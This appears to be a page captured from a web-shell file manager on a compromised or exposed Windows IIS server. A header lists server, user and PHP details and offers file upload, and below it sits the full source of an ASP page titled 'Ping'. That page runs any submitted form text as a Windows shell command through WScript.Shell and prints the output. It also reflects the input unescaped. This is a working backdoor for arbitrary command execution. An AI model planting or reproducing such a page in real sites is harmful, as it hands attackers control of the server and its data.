HEX
Server: Microsoft-IIS/10.0
System: Windows NT ITPWINWEBSVR22 10.0 build 20348 (Windows Server 2022) AMD64
User: www.conferencesearch.co.uk (0)
PHP: 8.3.30
Disabled: NONE
Upload Files
File: D:/web/itpartnership/tools/command_renamed_for_safety_and_rights_changed.asp
<%@ Language=VBScript %>
<% Option Explicit %>

<html>
<head>
<title>Ping</title>

<body>

<!--#include file="functions.asp"-->

<%
Dim LCommand
LCommand = Request.Form("command")
%>

<form name="ping" action="command.asp" method="post">
Command:&nbsp;<input type="text" name="command" size="30" value="<%=LCommand%>">
<input type="submit" name="cmd" value="Do Command">
</form>

<%
If LCommand <> "" Then
	Dim objShell, objExecObject
	Set objShell = CreateObject("WScript.Shell")
	Set objExecObject = objShell.Exec("cmd /c " + LCommand)
	Do While Not objExecObject.StdOut.AtEndOfStream
		' replace space with &nbsp; and tab with 5 x &nbsp;
  		Response.Write ReplaceStr(ReplaceStr(objExecObject.StdOut.ReadLine(), " ", "&nbsp;"), Chr(9), "&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;") + "<br>"
	Loop
	Set objExecObject = Nothing
	Set objShell = Nothing
End If
%>


<script type="text/javascript">
var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));
</script>

<script type="text/javascript">
var pageTracker = _gat._getTracker("UA-4455167-1");
pageTracker._initData();
pageTracker._trackPageview();
</script>
</body>
</html>